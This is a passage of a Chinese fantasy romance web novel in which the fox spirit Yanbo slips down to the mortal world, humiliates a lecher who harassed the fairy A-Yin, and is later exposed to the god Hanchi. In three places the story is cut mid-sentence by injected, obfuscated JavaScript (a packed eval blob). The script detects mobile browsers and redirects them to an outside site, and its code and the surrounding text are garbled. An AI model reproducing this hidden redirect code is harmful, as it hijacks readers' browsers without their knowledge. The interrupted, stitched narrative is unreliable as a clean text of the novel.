寒池点头称是,瞥了眼下首的烟波,一头乌发仅用两只素钗简单挽起,想起这狐狸平日里花枝招展,肯定在出门前把头上身上拆了个干净。 丛华冷哼一声,将烟波上上下下嫌弃了一遍才把她打发走了。 罢了,他这小师弟都活到这年岁了,看上个狐狸精就看上吧,除了恐吓威胁一番她要上进、全然没有一方仙师的矜持以外,也不好再说什么。 只在临走前叫住寒池,叮嘱他道:“你不愿收她为徒也便罢了,既然如此,快些把事办了罢?” 寒池不明就里:“什么事?” “宣告四海八荒,与那柳烟波结为仙侣啊。”看看他是多么开明的大师兄啊,不但不棒打鸳鸯,还要成人之美。 寒池第一次发现有人说的每个字都是如此晦涩难懂,叫他难以理解。 他这位大师兄看着心思清明,实则拳拳到肉,时常语出惊人,打得他败下阵来。 丛华见他全身僵硬,奇道:“你不是欢喜她吗?怎么,你刚才不是在想这事?” 寒池回过神来,已失去所有手段和力气:“师兄说的在理,我正想着给她封个境内的仙使看看……” 谁想这番话让丛华炸了毛,他从座上弹起,指着寒池鼻尖气道:“你要把人家时时放在身边,如此中意她还不打算给她个正经身份?寒池,这可不是君子所为!” 寒池:“我?” “她虽软弱老实,可正因如此,若你只是一时兴起,到时再撂开手,她这个性子如何能司神职,恐怕当个散仙都不成样子!” 寒池:“......” 柳烟波的戏是不是演过火了。 “我也确实觉得她和你相距甚远,如果你觉得她并不是良配,只图一时新鲜,就和她说个明白,早早给她安排好出路,也算功德一桩,别在这里拉拉扯扯。 你以前办事爽利,怎么多年不见,就变得如此黏黏糊糊,糊里糊涂!” 寒池放弃了挣扎。 他此刻不但困惑的很激烈,甚至发现自己还有心思想提醒面前吹胡子瞪眼的大师兄。 师兄,你一不小心接了个龙。 寒池默默在心中对自己冷笑。也许,这就是烟波说的债多了不愁罢。 还未等寒池辨驳,这丛华上神已经越说越痛心疾首,见寒池这副似笑非笑的冷漠模样,越痛心疾首就越气,最后留下一句“罢了罢了,我何苦来□□的心!”就拂袖而去。 寒池欲言又止,话到嘴边却只剩沉默,带烟波一道追去送丛华,又被好一顿指教,他一律左耳进右耳出。 好容易送走丛华,忽瞥见尾随身后的师兄弟子面生红晕,寒池若有所感,果然见身侧的柳烟波冲弟子们点头致意,眼波盈盈,露出一个不胜娇羞的清浅微笑。 他在心中淡淡冷笑,他的好师兄永远不会知道,自己险些要师门不幸了。 寒池本以为这事就这么了了,谁想丛华转头就给他立成了反面典型。丛华一直将寒池作为表率教导弟子,为人该如何谦和,处事又该如何力道。 自从出了等闲境,丛华口中再提到他,已成了赫赫有名的反面典型,对自家弟子耳提面授时开头结尾必定要带上一句:“你们可不要学我那小师弟……” 这句后又没了下文,那表情要多恨铁不成钢就有多咬牙切齿,让后面刻意省略掉的部分在弟子们听来更加意味深长。 连寒池在天上仅剩未归隐的师兄丛华都这么盖了章,其他人说起来就更是一个轰轰烈烈了,让寒池传闻中的老房子着的这把火烧的更旺了。 24. 笑纨绔 京城最具盛名的迎丹楼上此刻人声鼎沸,热闹非凡。此时正赶上新来的歌姬亮相,清亮宛转的嗓音引得台下阵阵喝彩鼓掌。 两串精致的大型花灯高高挂起,朱红的灯纱被烛火透出暖意颜色,照的台上更加流光溢彩,如登仙境。 烟波被赔笑的小二请到了散桌坐下,百无聊赖的等着上菜。 她侧头瞟了眼正唱的热闹的戏台,只听台上唱着:“如今我是有家家难归,有心心无主,有志志难遂,有情寄无处……” 她向来只爱听些才子佳人的戏文,戏中人不食烟火,不谈世事,只作风月,痴男怨女的执著总是阴差阳错,费尽心机却是捕风,往往能让她付之一笑。 今日只觉得一字一句无比妥帖,恰合了她的心意,却因为太过妥帖,反而听得发涩,不忍细听。 明明在天上心心念念的就是凡间的这份热闹,可真远离了天上,她又开始嫌弃吵闹,这里有千百种声音,可没有一种是她想要的,台上的声音合她的意,自己却又怕被人窥破。若要认真问她到底想要什么,她自己也说不上来。 望着一盘盘递上来的油亮吃食,她还能本能的吞咽口水,却少了提起筷子的兴致。她心中纳闷,为什么离开了天上,她还是不快乐。难不成,她真被寒池洗脑爱上了抄书? 周围是一桌桌的觥筹交错,唯烟波独坐在一片喧嚣中恍惚,眉眼淡淡,让满楼的热闹都作了她沉静底色。 年轻女子单独来来听戏,本就不常见,更别说烟波颜色动人,难免吸引了不少人的目光。 其中也不乏上来搭话的,隔着往日以她的性子,是不介意说上两句的,可今日被戏文触动了心声无处排遣,见来人对她一眼便可望见底的浅薄兴趣,烟波只生出丝丝厌倦,这些人,什么也不懂。 她觉得自己真是欠。 想着想着,烟波不小心想困了。她的身子还有白民国那鞭子的余威在,这段日子有些嗜睡,差点一头扎进面前的鱼汤里,她叫小二包了两只鸡腿,就打算抹嘴走人。 正在这时,忽听斜后方传来声响,烟波寻声看去,可只看了这一眼,便挪不动脚了。 一个少女正同年轻男子争执,男子衣饰华丽,形容痴肥,嬉皮笑脸的拽着少女的衣袖将她拉到二层的角落。 那里的花叶茂盛,长得有一人高,正好挡住了男子,只听到他不怀好意的调笑。周围的人偷偷摸摸的用目光围观着,却不愿出手给自己惹事。 恶霸调戏良家少女,八百年前和八百年后也还是这回事,烟波见的多了,没想到对上少女的脸时,她连眼睛都要看掉了。 在这种地方竟也能撞到仙界的熟人。 更让她匪夷所思的是,堂堂神仙竟能被一个凡人给轻薄了去。 “公、公子,你别这样,快放开我......”阿印见越来越多人朝她这里看,心里便越来越慌,她最害怕的就是在凡间引起注意,更不知该如何是好。 这位公子哥却不依不饶,拽着阿印的衣袖满脸不怀好意的笑:“小姑娘别害怕呀,爷就是想请你陪我吃杯酒,又不会生吞了你。” 阿印急的跺脚:“你这人怎么这样啊!” 薛阐被她两次三番的拒绝弄得失了耐心,拉下脸道:“论样貌家世,爷都在京城数得上数,你还有什么不满的,别敬酒不吃吃罚酒!” 阿印将他的手拨开:“你若再不放开,我便要出手了,到时伤了你也没办法。” 没想到这句话一出,反而激起了薛阐的好胜心,他一把抓住少女的手腕高举过头顶,得意洋洋的冲身边小厮坏笑道:“听到没有,这个妞儿硬气,我还是第一次听到要对爷出手的呢!” 扭头对少女挑衅道:“来来来,怎么还不出手呐?爷等着看你怎么伤我呢。”后伸出食指往女子下巴上刮了一刮,又道:“若不成,你可得好好给爷赔罪。” 少女登时勃然大怒,这迎丹楼周遭气息隐隐为之一变,饶是薛公子这等毫不敏感之人,都感觉手上猛得抽了抽。 烟波在角落中看的更是大骇,这小姑娘正是那日在泠溪宴上少台身边的小仙娥。 阿印正在为难之时,只听有人清斥一声:“哪里来的登徒子,还不放开你的肥爪子!” 薛阐只听其声时已觉得声音柔美,再见其人更被晃了眼,怔怔的松开了手。 发声的女子看着年纪在二十上下,一袭绯衣,说话间已将小美人拽至自己身后,可那双乌黑的眼,却含着一汪冷意的笑,比之身边还未长成的小美人更有风致,真真是芙蓉如面柳如眉。 阿印这才认出她来,惊奇道:“你是......” 烟波忙按下她,在她耳边低声道:“不须动用术法,我来。” 烟波稍加提点,阿印便冷静下来,是了,九重天上的仙家不得对凡人擅施法术,若不是她拉住自己,待返了天定要去受罚了。 “还未知姑娘芳名,我姓薛,名阐,字……”薛公子死到临头犹然不知,还在乐呵呵的觉得自己运气真佳,得了个小美人,又来了个大美人。 烟波本想将这纨绔倒吊在楼下戏台上,好好替他出回风头。此刻见薛公子嬉皮笑脸的模样,突然来了兴趣。她目不转睛的盯着薛阐笑道: “这位公子,没看到小姑娘不愿意和你走么。” “既然姑娘这么说了,那薛某便恭敬不如从命。她不肯陪我,那就由姑娘代劳了。”薛蟾上上下下打量她一番,摸着下巴连连咂嘴。 “你这色胚!”烟波笑骂,伸出手指头冲他虚点了点。 薛阐见她似嗔似笑,表情变换间说不清有多少风情,只觉浑身酥麻,魂儿也飘了,笑着承了这句骂。 烟波伸手指了指左侧拐角处的雅间:“小女原在那间喝酒听戏,里面的人都是来打秋风的乡下便宜亲戚,对我纠缠个没完,屋里有两壶暖好的武陵春,我可不愿意叫他们糟践好酒,也不想同那些人一处,若公子能帮我将他们赶走,我定感激不尽,到时用这武陵春陪公子一醉方休。” “我用什么法子姑娘都不责怪?” “请便。”烟波眼睛弯弯,露出洁白的贝齿。薛阐这才发现,原来这女子还生了对小小的虎牙。 “不成。”薛阐眯眼,负手绕着她踱步:“若回来姑娘却不见了,岂不是白做了好人。” 烟波睁大眼睛:“我一弱质女流,这么多人看着,又能跑到哪去呢?” 她面露不快,声音也沉了下去:“怎么,公子不信我?看来公子还在记恨我方才言语不当之处,不肯与我吃这一杯酒,原是我自作多情。” 薛阐被她一激,又见她话里话外透着有意,自然是指天指地的保证连连,就将自己的贴身小厮留下看管,带着五六个家丁直奔雅间而去。 阿印看得一头雾水,拉着烟波急道:“你要做什么?” 烟波好整以暇的盯着那雅间,道:“这里不是说话的地方,且陪我等等看。” 阿印终究是小孩子心性,何况二人都是仙人之躯,并不怕这凡人真敢怎么样,便不再说话,跟着烟波的目光往雅间看。 台下的戏临近尾声,烟波计算着时间,向薛阐的小厮随口一问:“你家公子是这里的常客?” 家丁点点头。 “那能不能麻烦你,帮我点出戏。” 自己公子既已看上她,小厮少不得给这女子好脸色,堆笑着“姑娘还跟我客气什么”便应允去了。 阿印的大眼睛骨碌碌的随着她转,愈发好奇起来。 台下新换的戏才唱上,就听见雅间叮铃桄榔发出迸碎声响,几个大汉将薛阐拖出了雅间,悄声掩上了门,才放开手脚对他又骂又踹。 只听他们骂道:“哪来的无赖泼皮,竟敢来这撒野,我呸!今天要不把你收拾紧了,我们也没脸回去复命了。小子,你可真是好运气!” 大汉一边骂着,一边用拳头结结实实的给薛阐赏了个满堂彩。 薛阐只是个娇养的后生,哪里招架得住,开始还痛呼着骂回去,后面被揍得心服口服,只能连连哀声告饶。 烟波看着可乐,见小厮吓傻了眼,指点道:“愣着干嘛,他都被打成这样了,还不去救?” 小厮如梦初醒,大呼着公子奔了过去。 烟波回头冲阿印眨眨眼睛:“咱们可以走了。” “去、去哪里?”阿印看的瞠目结舌,还没反应过来。 烟波携了她的手:“下楼,听戏。” 待小厮连滚带爬的到了,大汉们已把薛阐揍得告一段落。薛阐躺在地上,痛的连哼唧的声音都发不出,见小厮拥上来 ,突然来了力气,指着鼻尖一个个废物、蠢货、饭桶的痛骂回去。 小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16332639|183308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厮扑到他身上嚎道:“我的爷何曾受过这种苦,这家算个什么东西,竟敢这么欺负我们!赶明儿了叫老爷替我们主持公道!” 又回头骂着:“那些家里养的人呢!就这么看着爷被欺负?” 话音刚落,那几个家丁被绑的扎扎实实的从雅间扔出来了。 小厮吓得顿时噤声。薛阐粗鲁的将小厮推开,摸了把脸,手上就是腻腻的一把血,惊叫一声:“血!”翻着白眼差点又要厥过去。 一时间家丁们又是解绳子又是掐人中的又是擦鼻血的,还有忙着打扇的,伺候的好不热闹,事情闹得大了,将掌柜的招了来。 老头子精明的很,听动静打完了才紧赶慢赶的过来,此时不擦把冷汗,长吁短叹的围上来,眼睛瞪得溜圆:“哎呀呀,薛爷这是怎么了,是谁好狠的心敢下此毒手!” “你、你这黑店,竟然敢放任打人……”薛阐躺在小厮怀中虚弱到道,两管鼻血直下:“我回去就去叫人来砸了你的店……”顺手抓了身边喂水的碗向掌柜掷去。 掌柜躲闪不及,额角登时破出口子淌下血来,他顾不得擦拭,只叫苦道:“嘿呦薛公子,您这话小的万万不敢接,来的都是我惹不起的主,小老儿帮哪家都不对啊。” 掌柜忙将薛阐扶起,兴许是怕这混头真来砸店,左右张望一番,才压低声音叹道:“实话跟您说了吧。公子您惹谁不好,偏偏惹这安平郡王,他是当今圣上的侄儿,席上坐的还是他家老郡王妃。 郡王爷行事不喜张扬,所以只比着普通客人包了雅间,叮嘱店里不要进来打扰,我正忙着招呼客人,谁知转个神的功夫就让您闯进去了!我就是提着一万个脑袋,也不敢进去拦啊。” “什么安平郡王?”他一脸茫然。 “想来公子您不知道,老郡王刚刚过世,新郡王这段日子带着老郡王妃进京面圣。” 想到方才自己对着里面的满屋子人一口一个乡巴佬,薛阐吓得汗如雨下,腿软的再也站不起,一头碰死的心都有了。 “还好老郡王妃点的那出《玉蜻蜓》唱完了,我才好安排公子您要的那出,就当为公子压惊,还请公子高抬贵手。” “什么戏?”薛阐还茫然着。 只听楼下唱声悠悠传来:“并非玉仙看你轻,自掂自量称一称,连皮带肉重几两,带筋连骨有几斤,大话空话难自救,我看你像枯枝朽木早烂根,只为你十年皮厚锥难进……” 这是哪门子的压惊!薛阐脸都绿了,气得颤声道:“谁让你点的这出戏!是谁!” “就是、就是同您一起的那位姑娘。” 家丁们搀扶着薛阐勉勉强强站起身,他倚靠在栏杆边死瞪着眼寻找羞辱他的罪魁祸首,正看到烟波坐在台下拍手叫好。 “快把这贱人给我捉来!”薛阐眼睛发直,指向台下的手指难以自控的哆嗦着。 “薛公子,您可低声些!”掌柜的小心翼翼的瞥了眼雅间,千求万求道:“别惊扰了里边的贵人啊。” “对,对….”后怕的跟着掌柜望了眼紧闭的房门,好像时刻就有大汉破门而出,薛阐抹抹脑门上的汗,将声音压得极低,恶狠狠的从牙缝里挤出话来指派家丁:“你们去、给我扒了她的皮!” “公子使不得啊!”掌柜急了:“我这还要做生意,实在禁不起公子这么闹啊!” 薛阐气红了眼哪里管这些,推开掌柜的手将带来的家丁全撒了下楼。 烟波正就着他气急败坏的样子嗑瓜子,不忘回头对阿印点评一句:“这瓜子炒的火候不够,香味儿还没出来。”余光瞥见家丁们咚咚咚的就要下楼来,烟波这才仰头冲薛阐道:“戏好听吗?这是我的一片心意,公子可不要辜负了呀。” “你!你个贱人!”薛阐气急败坏的叫道。 “诶?你说什么?大声点!”烟波夸张的将手搭在耳朵上。 “贱人!!!”薛阐一口牙都要咬碎了,想着那位郡王怎么也不敢叫大声,自己又走不得,恨不得蹦起来。 烟波摇头晃脑的撇嘴:“还是听不清。” 阿印已经看傻了眼,嘴巴半天都没合上过。 还有几阶楼梯家丁们就要下到一楼,烟波数着数将手边瓜子丢进碟子拍了拍手,笑嘻嘻的对阿印道:“这戏好看吧?我们再换个地方。” 说完拉着阿印撒腿就跑。 25. 一百张脸 真是大白天见了鬼,家丁们气喘吁吁的追了出去,繁华的街上人来人往,却不见她们身影,只得拿着棍棒面面相觑,互问:“人呢?” 薛公子气得一管鼻血滚滚而下,终于晕了过去,让迎丹楼幸免于难。 掌柜藏在袖管里的双手合十,心中默念:阿弥陀佛,还是老天疼我们老实人!趁机火速将薛蟾抬出酒楼恭送回了薛府,回头乐颠颠的撩了袍直奔二楼雅间请罪,狠狠哭诉了一遍那薛阐如何恶形恶状,他舍命阻挡都招架不住,才叫他闯了进来。 城南的小茶馆里,竹色的帷幔被风吹起,影影绰绰透出两个女子的窈窕身姿。 烟波为阿印添上茶,再为自己满上,煞有其事道:“茶点虽然尝起来清淡了些,但解腻倒是不错,快尝尝这玫瑰乳糕。” 滚烫的茶水升出悠长的水汽,像九重天上落单的丝缕流云,阿印隔着水汽看她,只觉得她的面容也隔了云端。 她还没缓过神来就被烟波拉到这里,远离了那无赖凡人,两人凡间碰面的尴尬迅速占据脑海,叫阿印不知该如何自处。 烟波见她还发着愣,伸手在她眼前晃晃,扰乱了长长的白气:“想什么呢?” “我、我在想,神女为什么会让那公子去雅间。” 烟波呷了口茶:“前面一折戏听着新奇,我便找人来问,跑堂说这是雅间的尊贵客人为母亲祝寿专门点的一折戏,我听他语焉不详,脸上却很是卖弄,就分出两份心神去听。 我可没用术法,你也知道仙体天生比凡人耳聪目明,原来里面来的是个郡王给他母亲过寿。本来就此打住了,没想到正撞上薛公子这个倒霉蛋,正好逗他玩玩。” “那为何要称他们为乡下亲戚?” 她嘿嘿一笑:“这人态度轻浮,眼神迷离,又无长性,是个标准的酒囊兼饭袋,他们最是欺软怕硬。我说里面是乡下亲戚,他定会瞧不起,进去逮着“乡下”二字羞辱,郡王的封地远离京城,触了他的忌讳,自然落不着好。” 阿印似懂非懂的点点头:“原来这就叫‘打秋风’,我还当凡间也有人会使上神的法术呢。” “上神,哪个上神?”烟波现在对这两个字过敏。 “自然是寒池上神了。”阿印见她不知,便道:“上神最擅御风,还未修成人形时便因操纵风象受了句芒真神的青眼,点化他到了自己门下。” 烟波观察她神情自然,又不动声色的又叙了几句闲话,原来这阿印也是孤身一人下来游玩的,少台及其他神仙并不在附近,总算长舒一口气,便道自己亦是下来散心。 “真好啊。”阿印双手捧着茶杯,滚圆的眼睛里满是艳羡之色:“难怪传闻都说上神极疼你,你大病初愈,上神便怕你闷了,放你下来玩。” 烟波干笑了两声,含糊了两句,她哪敢说自己是在等闲境躺得要生蛆,趁着寒池出去赴法会的功夫串通波波偷溜下来的呢,计划着再给这小姑娘灌灌迷汤,好叫她早点略过这回事。 阿印见她不以为然,有心叫柳烟波惜福,又道:“当日上神为了你在雷部力排众议,闹得很大的,九重天从没见过他这个样子,你可一定要珍惜机缘。” 烟波蹙眉,等闲境里的生物都两耳不闻窗外事,也从不和她透露一星半点儿,连忙细细追问起来。 阿印见她不知,也十分惊讶,便将白玄当年如何以她采补一事状告寒池,又被寒池反告之事和盘托出。 谁知她说完,柳烟波不见感动,却是一脸的惊疑不解。 阿□□中称奇,才后知后觉的想起采补之事不甚光彩,这么直接的和她讲了,难怪她神情古怪,于是又岔开话讲回今日的事:“我在天上还没遇过这样的坏蛋,神女这些办法,都是上神教的吗?” 没想到自己飞升途中竟有如此惊险的一段,烟波回过神,强笑道:“上神体恤和善,只教我经学修身心,哪里教我这些。这人世险恶,我怕你误落了其中门道,一时情急才出了下策。” 难怪在泠溪宴上,众仙会用那样的眼神看她,难怪飞霁会如此恨她...... 寒池在背后为她做的事比她以为的还要多得多,更让烟波心中难安,如惊涛拍岸,那些初来等闲境的想法,随着激浪又翻涌上她心头。 她收敛心绪先不去想,捻起竹筷,为阿印夹了一块糖糕,抬眸关切道:“倒是你,怎么还任一个凡人欺负了去。” 阿印羞愧的垂下了头,蔫蔫的道:“还没想好怎么办,你便来了。” 烟波揶揄道:“我可看出来了,你本领大得很,这还好是没想好,倘若想好了,那酒楼还不定变成什么样呢。” 见阿印脸色粉红丰润,几绺碎发落在腮边,一副我见犹怜的娇憨之态,烟波心中一动,想起昔日在那王宫府中,莲池花畔,也有个不谙世事的少女将她小心的护在掌中,扬起笑脸娇声告饶道: “好烟波,我知道错了,下次我全听你的话,再也不淘气啦。”那少女粉白的腮边也有两绺打湿的碎发,滴下水珠正滚落在荷叶中打转。 两张脸在烟波眼前渐渐重叠,她心中泛起丝丝爱惜之情,柔声道:“对这种混蛋,但凡对他宽容些,倒霉的就成了自己。如果是个普通的凡间女子,今天就只能被掳走了。这些混账从不觉自己混账,受苦的只有他身边的人,早晚要遭报应,我们今日也算是提前替天行道了。” “可我们不是天……”阿印迟疑道:“三界皆为众生万物,我们也仅是跳出了轮回,仍在天道之中。” 一句话将烟波满腹豪言都堵在口中,一时与她相顾无言。 阿印极怕冷场,见她不说话了,连忙补救道:“还好有神女相助,不然回了天上还得连累姐姐丢脸。” 烟波直起了身子:“你的姐姐莫非是......” “涂山氏的少台上仙。” 打扰了,原来你们九重天都有后台。 哦,现在她也有了。 烟波既惊讶,又觉得在意料之中,道:“既然是姐妹,当日泠溪宴上,怎么还要扮做个侍候的仙娥?” 阿印嘿嘿一笑:“不是姊妹,但只怕比平常姐妹还好些呢。” 烟波 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16332640|183308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还在回味阿印的“天道”之说,见阿印摆弄着茶水,又兴致勃勃的招呼小二点戏,心中微微一叹,这小丫头真人不露相,那少女笙笙倘若有阿印的一半精明,也不需自己搭了颗传家珠子给她傍身了。 那时她将珠子赠给笙笙和她的凡人情郎私奔,只盼着那情郎有良心情义,能给二人挣出一条活路来,没过多久自己便精元耗尽,化为一撮齑粉,无力顾上他们了。 各人有各人的路,八百年春秋,人间早已换了几遭,或许笙笙也已轮回数次,纵使相逢应不识,擦肩而过后便埋头在这红尘里行路,哪里记得谁呢。 她也是一时痴了,才会觉得阿印与她相像。 烟波的念头百转,没耽误手上剥出一碟瓜子,轻轻推到阿印手边。 阿印还全心贯注在戏里的痴缠,听到桌子叩出“笃笃”声,见烟波冲着她嫣然一笑,拿起一颗瓜子放在嘴边,小小的贝齿掩在红唇下,轻巧而悠闲的慢慢嗑起来,姿态好看极了,一时忘了看戏,目不转睛的盯着她的那双捻着瓜子的手。 看着我干什么?”烟波吐出一片瓜子皮。 “我只是觉得,每一次见你,感觉都不一样。” 烟波懒洋洋的倚在椅背上,拿椅子当摇椅玩,一晃一晃的:“感觉没变差就行了。” 阿印说不上来,她想了想,道:“以神女今日之义举,我想天上夸你的人会很多的。” 烟波挑眉。 “要是你觉得这样像自吹自擂,我愿意为你正名,特别是告诉我姐姐!”阿印拍胸脯打包票。 “咕咚”一声,烟波从椅子上掉下去了。 阿印点点头:“我姐姐为人公正,只要她替你说上几句话,天上就会信你了。” “别别别。”烟波连忙将她按回去,这小妮子真是语不惊人死不休,嫌她在天上的风头不够大,只怕九重天还没承认她行侠仗义,就先被寒池知道她偷溜下界寻欢作乐。 “你难道不希望这样吗?”阿印不解。 “这只是你见我的第二面,要是以后见到不喜欢的一面,到时又要后悔,还是现在就慎重些的好。” “我没有考察你的意思。”阿印觉得她戒备心也太重了。 “知道知道,我呀,有一百张脸,你全看完了再夸也不迟。”烟波仰头望天,她就是想下凡开个小差,怎么就这么难!她探头附在阿印耳边,故作神秘道:“我只跟你一个人讲,我是偷偷下来的。” “所以你懂得。”烟波意味深长的拍了拍阿印的肩,用“我用苦衷”的眼神好好与她对视一番。 谁知阿印反而笑了,天真烂漫的大眼睛忽闪忽闪:“真巧,我也是!” 她果然不懂! 阿印倒是兴致勃□□来,拍她的手安慰道:“别怕,上神知道了也会很高兴的。” 她在心里好好抽了自己两个大耳刮子。 “除非……”阿印话锋一转,一脸纯良道:“你陪我逛街市,我就不说出去。” 烟波心里呵呵两声,这聪明劲儿,笙笙就是重新投胎也赶不上了。 26. 魔星驾临 接下来的三个时辰里,烟波开了眼界。 从胭脂水粉逛到衣裳绢带,从团扇首饰逛到糖人泥塑,除了青楼就没有阿印不能逛的地方,逛得叫一个天昏地暗飞沙走石,绝对是个熟手。 直到华灯初上,她才终于向烟波告辞。 “蒹葭殿有门禁,我不能太晚回去。”阿印抱歉道。 烟波失笑:“本以为你还要再逛逛呢,人间的傍晚之于九重天,也许还没一支蜡烛烧尽的时间长。” 阿印摇摇头:“姐姐说,人间的黑夜除了望舒,还有百鬼夜行,即便神仙也怕落单的。” “你姐姐说得对。” “那......我们算是朋友了吗?” 她有些羞涩的问。 烟波诧异的高扬起眉,见阿印羞红的脸,眉毛又落了下来,吃吃的笑道:“我本以为你还怕我,没想到竟然要和我做朋友。” “那你想吗?”阿印仿佛在验证烟波的这句话似的,又问了一遍。 烟波看到她清澈的圆眼睛,举起了一杯酒放在唇边:“当然,我们已经有了一个秘密。” 天色已晚,等闲境的神木仍然散发着盈盈光华。烟波终于赶了回来,她提着裙摆,夹着采买来的大包小包猫腰前行,不时停下来四处张望,竖起耳朵不放过一丝声响。 踏着地上如一层厚厚银霜的叶子,未等她多走两步,衣裳就已被什么东西勾住,烟波拉扯不动,回头一看,一只百乐鸟正叼着她的裙角。它的身后还凑着几只正探头打量着她,仙鹤此时也围拢过来,眼睛晶亮的盯着烟波。 烟波拽住裙摆拉扯,无奈鸟多势众就是不肯松口,烟波一动,它们还叫出声来,她生怕这一叫惊动了寒池,只得败下阵来,认命的放下手:“祖宗们,你们想干啥?” 一只百乐鸟披着她金碧色的华贵大尾羽,昂首阔步的拽下了烟波夹带的包裹。众鸟顿时一拥而上啄开了包裹,散出一地的首饰衣裳。 烟波在一旁急得跳脚:“别翻了,你们要这些也没用!” 几只仙鹤乱啄一阵,发现包裹里一精致木盒,将木盒顶开,露出了亮晶晶的糖画来。众鸟皆被此宝贝折服,将首饰钗环都丢在一边,喜不自胜的叼走了。 “哎,这是我帮人带的!”这可是她给波波捎的贿赂。无奈强盗们并不理会,早已逃之夭夭。 灵木贯穿大殿,在殿顶撑出巨大树冠,如银子般的叶似披了皑皑大雪,被月光一照,折出夜晚雪上的晶莹清辉。一只白鹤悄无声息的拍打羽翼栖回树上。 寒池正支着头小憩,忽觉背后有异。他睁眼看见白鹤嘴里衔着东西,这是九鹤中最小的夷则,它眼睛晶亮,喉咙里不住叫着,便问:“去哪儿玩了,这么开心?” 夷则抖抖脖颈,又拍拍翅膀,小跳了两步。 “怪不得,原来是偷吃去了。”寒池从它嘴下取出糖画,拿在手里仔细端详,这画的是一只水牛,通身黄澄澄,还带着小花,在暖黄的灯下看更为剔透可爱。 寒池抬眼看它:“确实好看,难怪你要跑来炫耀。” 夷则拍拍翅膀,欢快的叫了两声。 寒池拿糖画轻敲它前额,笑道:“你吃不了。” 瞬间,糖水牛化作金粉撒在半空,一只金黄小鹤“啪嗒”掉落在地。寒池摸摸它的小脑袋:“这是你的小友,陪它玩吧。” 夷则似懂非懂,叼着金鹤飞上了树,抱着它幸福的睡着了。 糖画,这可不是凡间的东西。寒池捏着剩下的小棍发起了呆。 “笃笃笃。” 安静的夜中,轻轻的敲门声也显得格外重。 过了好一会儿,第一次担任放风任务的门内人才小心翼翼道:“天王盖地虎。” 门外人答:“上山打老虎。” “吱呀——”门开了。 波波紧张的探头四处张望,比烟波这个做贼的还心虚,烟波一挪一蹭便进了门,倚在墙边勾头笑她:“别看啦,没人。” 波波赶忙把她拉进来,贴着门惊魂未定:“怎么待了这么久?上神可早回来了!” “被发现了?” 波波摇头。 “那不就得了。”烟波一把按住她坐下。 不出她所料,自从他那位师兄上门对她挑鼻子瞪眼一通后,这位仁兄愈发避嫌,终日神龙见首不见尾,烟波就是瞅准了这点,才敢挑着日子溜号。 波波已经迫不及待翻开烟波的包裹,却什么也没找到,奇道:“糖画呢?”这可是她忍痛答应和烟波同流合污的条件。 “我带着画都到门口了,被林子里那群鸟打劫走了。” “啊!”波波惊愕的叫出声来,一张小脸皱成薄皮包子上的褶,心中又是心虚又是失望。 烟波眼睛一转:“我不敢惹那帮有主的鸟,但也不能让你白帮我忘风,要不……我再下去一趟?” “啊?还去啊?”波波急急的捧出一盒东西:“你看,其实天上也有很多解闷的东西,我们也不用......” 可惜烟波没给她把话说完的机会,转个身的功夫,她已消失的无影无踪。 望着没送出去的盒子,波波想起寒池刚刚对她的交代,觉得自己深负了上神的嘱托。 仙鹤前脚把糖画送进了雪斋,后脚波波也被召唤过去。面对一地的糖画,证据确凿,人赃俱获,吓得她波波魂飞魄散,再没了给烟波遮掩的念头,什么都招了。 寒池若有所思,支着头问:“这些衣服首饰,并不如天衣珍宝,为何她瞧不上眼,还一心要去弄来这些?” 更何况仙凡有别,正如天上的仙葩拿到凡间就会变成宝石,凡间这些脆弱的小物件拿到天上,很快也都会因为遍布的仙气和亘古的时光逼出本质。 “可能......她还是不习惯吧。” “之前体谅她初来乍到,给她吃了像牛肉的帝休果,也不见她如何喜欢。” 波波想了想:“神女说,这是凡间的东西,她看到就开心。” 寒池点点头,挥手将这些衣服首饰上都镀了一层淡淡的余晖。像蒲公英似的附在表面,衣服上立刻又生出了件同样的衣服,只见他们一分作二,二化作八,一小包裹的东西最后变成了整整一大箱。 “我将这附种交予你,只要你将种子放在其上,就能源源不断的移植出一模一样的来,这样也省得她下去看。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16332641|183308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 波波用力的点了点头,大大的眼睛里溢满了对寒池的崇拜,上神真是太聪明了!竟然会种衣服! 迎丹楼掌柜的是个很迷信的人,每日拜了财神才敢出门。然而这段日子先是左眼皮直跳,惹得他以为要天降横财,隔天又撞上右眼皮乱蹦,吓得他不知又花去多少功德钱,折腾的掌柜的一颗心跟着七上八下。 “沧海之雀赤翅鸿,白雁随。山林乍开乍合,曾不知日月明……”这是想象神仙驾临的一首歌,掌柜的近日心头好,每日都要听上一遍才觉得舒心。 